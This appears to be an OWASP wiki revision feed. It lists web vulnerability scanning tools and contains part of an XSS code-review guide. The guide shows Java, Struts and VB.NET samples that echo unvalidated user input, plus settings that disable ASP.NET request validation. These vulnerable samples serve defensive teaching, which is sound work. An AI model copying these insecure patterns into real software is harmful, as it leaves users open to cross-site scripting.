{{OWASP Tool Info || tool_name = [http://www.qualys.com/products/qg_suite/was/ QualysGuard] || tool_owner = Qualys || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina] || tool_owner = BeyondTrust || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.orvant.com Securus] || tool_owner = Orvant, Inc || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.whitehatsec.com/home/services/services.html Sentinel] || tool_owner = WhiteHat Security || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.parasoft.com/products/article.jsp?articleId=3169&amp;amp;redname=webtesting&amp;amp;referred=webtesting SOATest] || tool_owner = Parasoft || tool_licence = Commercial || tool_platforms = Windows / Linux / Solaris}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.tinfoilsecurity.com Tinfoil Security] || tool_owner = Tinfoil Security, Inc. || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/external-vulnerability-scanning.php Trustkeeper Scanner] || tool_owner = Trustwave SpiderLabs || tool_licence = Commercial || tool_platforms = SaaS}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://subgraph.com/vega/ Vega] || tool_owner = Subgraph || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://wapiti.sourceforge.net/ Wapiti] || tool_owner = Informática Gesfor || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.tripwire.com/it-security-software/enterprise-vulnerability-management/web-application-vulnerability-scanning/ WebApp360] || tool_owner = TripWire || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www8.hp.com/us/en/software-solutions/software.html?compURI=1341991#.Uuf0KBAo4iw WebInspect] || tool_owner = HP || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/webreaver.html WebReaver] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.german-websecurity.com/en/products/webscanservice/product-details/overview/ WebScanService] || tool_owner = German Web Security || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://suite.websecurify.com/ Websecurify Suite] || tool_owner = Websecurify || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows, Linux, Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.sensepost.com/research/wikto/ Wikto] || tool_owner = Sensepost || tool_licence = Open Source || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.w3af.org/ w3af] || tool_owner = w3af.org || tool_licence = GPLv2.0 || tool_platforms = Linux and Mac}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== References  ==&lt;br /&gt;
&lt;br /&gt;
*[[Source_Code_Analysis_Tools | SAST Tools]] - Similar Information on Static Application Security Testing (SAST) Tools&lt;br /&gt;
*http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria&lt;br /&gt;
*http://www.slideshare.net/lbsuto/accuracy-and-timecostsofwebappscanners&lt;br /&gt;
*http://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners.html&lt;br /&gt;
*http://www.tssci-security.com/archives/2007/11/24/2007-security-testing-tools-in-review/&lt;br /&gt;
*http://www.softwareqatest.com/qatweb1.html#SECURITY&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Tools_Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Vulnerability_Scanning_Tools&amp;diff=228381</id>
		<title>Category:Vulnerability Scanning Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Vulnerability_Scanning_Tools&amp;diff=228381"/>
				<updated>2017-04-05T21:30:55Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description  ==&lt;br /&gt;
&lt;br /&gt;
Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as [[Cross-site scripting]], [[SQL Injection]], [[Command Injection]], [[Path Traversal]] and insecure server configuration. This category of tools is frequently referred to as [https://www.techopedia.com/definition/30958/dynamic-application-security-testing-dast Dynamic Application Security Testing] (DAST) Tools. A large number of both commercial and open source tools of this type are available and all of these tools have their own strengths and weaknesses.  If you are interested in the effectiveness of DAST tools, check out the OWASP [[Benchmark]] project, which is scientifically measuring the effectiveness of all types of vulnerability detection tools, including DAST.&lt;br /&gt;
&lt;br /&gt;
Here we provide a list of vulnerability scanning tools currently available in the market.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''Disclaimer:''' The tools listing in the table below are presented in an alphabetical order. &amp;lt;b&amp;gt;OWASP does not endorse any of the Vendors or Scanning Tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think this information is incomplete or incorrect, please send an e-mail to our [mailto:owasp_ha_vulnerability_scanner_project@lists.owasp.org mailing list] and we will make every effort to correct this information.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools Listing  ==&lt;br /&gt;
&lt;br /&gt;
{{:Template:OWASP Tool Headings}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.acunetix.com/ Acunetix WVS] || tool_owner = Acunetix || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www-03.ibm.com/software/products/en/appscan-standard AppScan] || tool_owner = IBM || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/ App Scanner] || tool_owner = Trustwave || tool_licence = Commercial || tool_platforms = Windows }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/appspider/ AppSpider] || tool_owner = Rapid7 || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.beyondsecurity.com/avds AVDS] || tool_owner = Beyond Security || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = N/A }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.blueclosure.com BlueClosure BC Detect] || tool_owner = BlueClosure || tool_licence = Commercial, 2 weeks trial || tool_platforms = Most platforms supported}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.portswigger.net/ Burp Suite] || tool_owner = PortSwiger || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Most platforms supported }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://contrastsecurity.com Contrast] || tool_owner = Contrast Security || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.gamasec.com/Gamascan.aspx GamaScan] || tool_owner = GamaSec || tool_licence = Commercial || tool_platforms = Windows }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://rgaucher.info/beta/grabber/ Grabber] || tool_owner = Romain Gaucher || tool_licence = Open Source || tool_platforms = Python 2.4, BeautifulSoup and PyXML}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://sourceforge.net/p/grendel/code/ci/c59780bfd41bdf34cc13b27bc3ce694fd3cb7456/tree/ Grendel-Scan] || tool_owner = David Byrne || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.golismero.com GoLismero] || tool_owner = GoLismero Team || tool_licence = GPLv2.0 || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.ikare-monitoring.com/ IKare] || tool_owner = ITrust || tool_licence = Commercial || tool_platforms = N/A }}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.indusface.com/index.php/products/web-application-scanning Indusface Web Application Scanning] || tool_owner = Indusface || tool_licence = Commercial || tool_platforms = SaaS}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.nstalker.com/ N-Stealth] || tool_owner = N-Stalker || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.mavitunasecurity.com/ Netsparker] || tool_owner = MavitunaSecurity || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/nexpose-community-edition.jsp Nexpose] || tool_owner = Rapid7 || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Windows/Linux}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.cirt.net/nikto2 Nikto] || tool_owner = CIRT || tool_licence = Open Source|| tool_platforms = Unix/Linux}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.milescan.com/ ParosPro] || tool_owner = MileSCAN || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/proxy.html Proxy.app] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.qualys.com/products/qg_suite/was/ QualysGuard] || tool_owner = Qualys || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina] || tool_owner = BeyondTrust || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.orvant.com Securus] || tool_owner = Orvant, Inc || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.whitehatsec.com/home/services/services.html Sentinel] || tool_owner = WhiteHat Security || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.parasoft.com/products/article.jsp?articleId=3169&amp;amp;redname=webtesting&amp;amp;referred=webtesting SOATest] || tool_owner = Parasoft || tool_licence = Commercial || tool_platforms = Windows / Linux / Solaris}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.tinfoilsecurity.com Tinfoil Security] || tool_owner = Tinfoil Security, Inc. || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/external-vulnerability-scanning.php Trustkeeper Scanner] || tool_owner = Trustwave SpiderLabs || tool_licence = Commercial || tool_platforms = SaaS}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://subgraph.com/vega/ Vega] || tool_owner = Subgraph || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://wapiti.sourceforge.net/ Wapiti] || tool_owner = Informática Gesfor || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.tripwire.com/it-security-software/enterprise-vulnerability-management/web-application-vulnerability-scanning/ WebApp360] || tool_owner = TripWire || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www8.hp.com/us/en/software-solutions/software.html?compURI=1341991#.Uuf0KBAo4iw WebInspect] || tool_owner = HP || tool_licence = Commercial || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/webreaver.html WebReaver] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.german-websecurity.com/en/products/webscanservice/product-details/overview/ WebScanService] || tool_owner = German Web Security || tool_licence = Commercial || tool_platforms = N/A}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://suite.websecurify.com/ Websecurify Suite] || tool_owner = Websecurify || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows, Linux, Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.sensepost.com/research/wikto/ Wikto] || tool_owner = Sensepost || tool_licence = Open Source || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [http://www.w3af.org/ w3af] || tool_owner = w3af.org || tool_licence = GPLv2.0 || tool_platforms = Linux and Mac}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}&lt;br /&gt;
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== References  ==&lt;br /&gt;
&lt;br /&gt;
*[[Source_Code_Analysis_Tools | SAST Tools]] - Similar Information on Static Application Security Testing (SAST) Tools&lt;br /&gt;
*http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria&lt;br /&gt;
*http://www.slideshare.net/lbsuto/accuracy-and-timecostsofwebappscanners&lt;br /&gt;
*http://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners.html&lt;br /&gt;
*http://www.tssci-security.com/archives/2007/11/24/2007-security-testing-tools-in-review/&lt;br /&gt;
*http://www.softwareqatest.com/qatweb1.html#SECURITY&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Tools_Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:OWASP_Tool_Info&amp;diff=228380</id>
		<title>Template:OWASP Tool Info</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:OWASP_Tool_Info&amp;diff=228380"/>
				<updated>2017-04-05T21:30:27Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;includeonly&amp;gt;|-&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_name|}}} | {{{tool_name}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_owner|}}} | {{{tool_owner}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_licence|}}} | {{{tool_licence}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_platforms|}}} | {{{tool_platforms}}} | }}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
This template provides tool related information for OWASP Tools Project.&lt;br /&gt;
&lt;br /&gt;
=== Usage ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{{Template:OWASP Tool Info&lt;br /&gt;
| tool_name =&lt;br /&gt;
| tool_owner =&lt;br /&gt;
| tool_licence =&lt;br /&gt;
| tool_platforms =&lt;br /&gt;
}}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{{Template:OWASP Tool Info&lt;br /&gt;
| tool_name = Internal IP detector&lt;br /&gt;
| tool_owner = Mr. John&lt;br /&gt;
| tool_licence = Commercial (trial available)&lt;br /&gt;
| tool_platforms = Windows, Linux&lt;br /&gt;
}}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:OWASP_Tool_Info&amp;diff=228379</id>
		<title>Template:OWASP Tool Info</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:OWASP_Tool_Info&amp;diff=228379"/>
				<updated>2017-04-05T21:25:27Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;includeonly&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_name|}}} | {{{tool_name}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_owner|}}} | {{{tool_owner}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_licence|}}} | {{{tool_licence}}} | }}&lt;br /&gt;
|align=&amp;quot;left&amp;quot; | {{#if: {{{tool_platforms|}}} | {{{tool_platforms}}} | }}&lt;br /&gt;
&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
This template provides tool related information for OWASP Tools Project.&lt;br /&gt;
&lt;br /&gt;
=== Usage ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{{Template:OWASP Tool Info&lt;br /&gt;
| tool_name =&lt;br /&gt;
| tool_owner =&lt;br /&gt;
| tool_licence =&lt;br /&gt;
| tool_platforms =&lt;br /&gt;
}}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{{Template:OWASP Tool Info&lt;br /&gt;
| tool_name = Internal IP detector&lt;br /&gt;
| tool_owner = Mr. John&lt;br /&gt;
| tool_licence = Commercial (trial available)&lt;br /&gt;
| tool_platforms = Windows, Linux&lt;br /&gt;
}}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Attacks&amp;diff=217974</id>
		<title>XSS Attacks</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Attacks&amp;diff=217974"/>
				<updated>2016-06-15T14:39:04Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Tiny feex.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[OWASP Code Review Guide Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Contact author: [mailto:eoinkeary@owasp.org Eoin Keary]&lt;br /&gt;
&lt;br /&gt;
:'''NOTICE: PLEASE SEE [[Reviewing code for XSS issues]] as this page may not be up to date.'''&lt;br /&gt;
&lt;br /&gt;
==XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
Bad code example:&lt;br /&gt;
&lt;br /&gt;
If the text inputted by the user is reflected back and has not been data validated the browser shall interpret the inputted script as part of the mark up and execute the code accordingly.&lt;br /&gt;
To mitigate this type of vulnerability we need to perform a number of security tasks in our code:&lt;br /&gt;
&lt;br /&gt;
# Validate data&lt;br /&gt;
# Encode unsafe output&lt;br /&gt;
 &lt;br /&gt;
 import org.apache.struts.action.*; &lt;br /&gt;
 import org.apache.commons.beanutils.BeanUtils; &lt;br /&gt;
 import javax.servlet.http.HttpServletRequest; &lt;br /&gt;
 import javax.servlet.http.HttpServletResponse; &lt;br /&gt;
 &lt;br /&gt;
 public final class InsertEmployeeAction extends Action { &lt;br /&gt;
 &lt;br /&gt;
 public ActionForward execute(ActionMapping mapping, ActionForm form,&lt;br /&gt;
     HttpServletRequest request, HttpServletResponse response) throws Exception{ &lt;br /&gt;
 &lt;br /&gt;
 // Setting up objects and vairables.&lt;br /&gt;
 &lt;br /&gt;
 Obj1 service = new Obj1(); &lt;br /&gt;
 ObjForm objForm = (ObjForm) form; &lt;br /&gt;
 InfoADT adt = new InfoADT (); &lt;br /&gt;
 BeanUtils.copyProperties(adt, objForm); &lt;br /&gt;
 &lt;br /&gt;
 	String searchQuery = objForm.getqueryString();&lt;br /&gt;
 	String payload = objForm.getPayLoad();&lt;br /&gt;
 try { &lt;br /&gt;
 service.doWork(adt);  / /do something with the data&lt;br /&gt;
 ActionMessages messages = new ActionMessages(); &lt;br /&gt;
 ActionMessage message = new ActionMessage(&amp;quot;success&amp;quot;, adt.getName() ); &lt;br /&gt;
 messages.add( ActionMessages.GLOBAL_MESSAGE, message ); &lt;br /&gt;
 saveMessages( request, messages ); &lt;br /&gt;
 request.setAttribute(&amp;quot;Record&amp;quot;, adt); &lt;br /&gt;
 return (mapping.findForward(&amp;quot;success&amp;quot;));&lt;br /&gt;
 }&lt;br /&gt;
 catch( DatabaseException de ) &lt;br /&gt;
 {&lt;br /&gt;
 ActionErrors errors = new ActionErrors(); &lt;br /&gt;
 ActionError error = new ActionError(&amp;quot;error.employee.databaseException&amp;quot; + “Payload: “+payload);&lt;br /&gt;
 errors.add( ActionErrors.GLOBAL_ERROR, error ); &lt;br /&gt;
 saveErrors( request, errors ); return (mapping.findForward(&amp;quot;error: &amp;quot;+ searchQuery)); &lt;br /&gt;
 } &lt;br /&gt;
 } &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The red text above shows some common mistakes in the development of this struts action class. Firstly the data passed in the HttpServletRequest is placed into a parameter without being data validated.&lt;br /&gt;
&lt;br /&gt;
Focusing on XSS we can see that this action class returns either a message, ActionMessage  in the case of the function being successful. In the case of an error the code in the Try/Catch block is executed and we can see here that the data inputted by the user, the data contained in the HttpServletRequest is returned to the user, unvalidated and exactly in the format in which the user inputted it.&lt;br /&gt;
&lt;br /&gt;
 import java.io.*; &lt;br /&gt;
 import javax.servlet.http.*; &lt;br /&gt;
 import javax.servlet.*; &lt;br /&gt;
 &lt;br /&gt;
 public class HelloServlet extends HttpServlet &lt;br /&gt;
 { &lt;br /&gt;
 public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException &lt;br /&gt;
 { &lt;br /&gt;
 &lt;br /&gt;
 String input = req.getHeader(“USERINPUT”);&lt;br /&gt;
 &lt;br /&gt;
 PrintWriter out = res.getWriter(); &lt;br /&gt;
 out.println(input);  // echo User input.&lt;br /&gt;
 out.close(); 	&lt;br /&gt;
 } &lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A second example of an XSS vulnerable function. Echoing un-validated user input back to the browser would give a nice large vulnerability footprint.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
.NET Example (ASP.NET version 1.1 ASP.NET version 2.0):&lt;br /&gt;
&lt;br /&gt;
The server side code for a VB.NET application may have similar functionality&lt;br /&gt;
&lt;br /&gt;
 ' SearchResult.aspx.vb &lt;br /&gt;
 Imports System &lt;br /&gt;
 Imports System.Web &lt;br /&gt;
 Imports System.Web.UI &lt;br /&gt;
 Imports System.Web.UI.WebControls &lt;br /&gt;
 &lt;br /&gt;
 Public Class SearchPage Inherits System.Web.UI.Page &lt;br /&gt;
 &lt;br /&gt;
 Protected txtInput As TextBox &lt;br /&gt;
 Protected cmdSearch As Button &lt;br /&gt;
 Protected lblResult As Label Protected &lt;br /&gt;
 &lt;br /&gt;
 Sub cmdSearch _Click(Source As Object, _ e As EventArgs) &lt;br /&gt;
 	&lt;br /&gt;
 // Do Search…..&lt;br /&gt;
 	// …………&lt;br /&gt;
 &lt;br /&gt;
 lblResult.Text=&amp;quot;You Searched for: &amp;quot; &amp;amp; txtInput.Text &lt;br /&gt;
 &lt;br /&gt;
 // Display Search Results…..&lt;br /&gt;
 // …………&lt;br /&gt;
 &lt;br /&gt;
 End Sub &lt;br /&gt;
 End Class&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is a VB.NET example of a Cross Site Script vulnerable piece of search functionality which echoes back the data inputted by the user. To mitigate against this we need proper data validation and in the case of stored XSS attacks we need to encode known bad (as mentioned before).&lt;br /&gt;
&lt;br /&gt;
In the .NET framework there are some in-built security functions which can assist in data validation and HTML encoding, namley, ASP.NET 1.1 '''request validation '''feature and '''HttpUtility.HtmlEncode'''.&lt;br /&gt;
&lt;br /&gt;
Microsoft in their wisdom state that you should not rely solely on ASP.NET request validation&lt;br /&gt;
and that it should be used in conjunction with your own data validation, such as regular expressions (mentioned below).&lt;br /&gt;
&lt;br /&gt;
The request validation feature is disabled on an individual page by specifying in the page directive  &lt;br /&gt;
&lt;br /&gt;
  '''&amp;lt;%@ Page validateRequest=&amp;quot;false&amp;quot; %&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
or by setting '''ValidateRequest=&amp;quot;false&amp;quot;''' on the '''@ Pages''' element. &lt;br /&gt;
&lt;br /&gt;
or in the '''web.config''' file:&lt;br /&gt;
&lt;br /&gt;
You can disable request validation by adding a &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;'''pages'''&amp;gt; element with '''validateRequest=&amp;quot;false&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
So when reviewing code make sure the validateRequest directive is enabled an if not, investigate what method of DV is being used, if any.&lt;br /&gt;
Check that ASP.NET Request validation Is enabled in '''Machine.config'''&lt;br /&gt;
Request validation is enabled by ASP.NET by default. You can see the following default setting in the '''Machine.config''' file.&lt;br /&gt;
&lt;br /&gt;
  '''&amp;lt;pages validateRequest=&amp;quot;true&amp;quot; ... /&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
HTML Encoding:&lt;br /&gt;
&lt;br /&gt;
Content to be displayed can easily be encoded using the HtmlEncode function. This is done by calling:&lt;br /&gt;
&lt;br /&gt;
  '''Server.HtmlEncode(string)'''&lt;br /&gt;
&lt;br /&gt;
Using the html encoder example for a form:&lt;br /&gt;
&lt;br /&gt;
Text Box: &amp;lt;%@ Page Language=&amp;quot;C#&amp;quot; ValidateRequest=&amp;quot;false&amp;quot; %&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script runat=&amp;quot;server&amp;quot;&amp;gt; &lt;br /&gt;
 void searchBtn _Click(object sender, EventArgs e) { &lt;br /&gt;
 Response.Write(HttpUtility.HtmlEncode(inputTxt.Text)); } &lt;br /&gt;
 &amp;lt;/script&amp;gt; &lt;br /&gt;
 &amp;lt;html&amp;gt; &lt;br /&gt;
 &amp;lt;body&amp;gt; &lt;br /&gt;
 &amp;lt;form id=&amp;quot;form1&amp;quot; runat=&amp;quot;server&amp;quot;&amp;gt; &lt;br /&gt;
 &amp;lt;div&amp;gt; &lt;br /&gt;
 &amp;lt;asp:TextBox ID=&amp;quot;inputTxt&amp;quot; Runat=&amp;quot;server&amp;quot; TextMode=&amp;quot;MultiLine&amp;quot; Width=&amp;quot;382px&amp;quot; Height=&amp;quot;152px&amp;quot;&amp;gt; &lt;br /&gt;
 &amp;lt;/asp:TextBox&amp;gt; &lt;br /&gt;
 &amp;lt;asp:Button ID=&amp;quot;searchBtn&amp;quot; Runat=&amp;quot;server&amp;quot; Text=&amp;quot;Submit&amp;quot; OnClick=&amp;quot; searchBtn _Click&amp;quot; /&amp;gt; &lt;br /&gt;
 &amp;lt;/div&amp;gt; &lt;br /&gt;
 &amp;lt;/form&amp;gt; &lt;br /&gt;
 &amp;lt;/body&amp;gt; &lt;br /&gt;
 &amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Stored Cross Site Script:'''&lt;br /&gt;
Using Html encoding to encode potentially unsafe output.:&lt;br /&gt;
&lt;br /&gt;
Malicious script can be stored/persisted in a database and shall not execute until retrieved by a user. This can also be the case in bulletin boards and some early web email clients. This incubated attack can sit dormant for a long period of time until a user decides to view the page where the injected script is present. At this point the script shall execute on the users browser:&lt;br /&gt;
&lt;br /&gt;
The original source of input for the injected script may be from another vulnerable application, which is common in enterprise architectures. Therefore the application at hand may have good input data validation but the data persisted may not have been entered via this application per se, but via another application.&lt;br /&gt;
&lt;br /&gt;
In this case we cannot be 100% sure the data to be displayed to the user is 100% safe (as it could of found its way in via another path in the enterprise).&lt;br /&gt;
The approach to mitigate against this si to ensure the data sent to the browser is not going to be interpreted by the browser as mark-up and should be treated as user data.&lt;br /&gt;
&lt;br /&gt;
We encode known bad to mitigate against this “enemy within”. This in effect assures the browser interprets any special characters as data and markup. &lt;br /&gt;
How is this done?&lt;br /&gt;
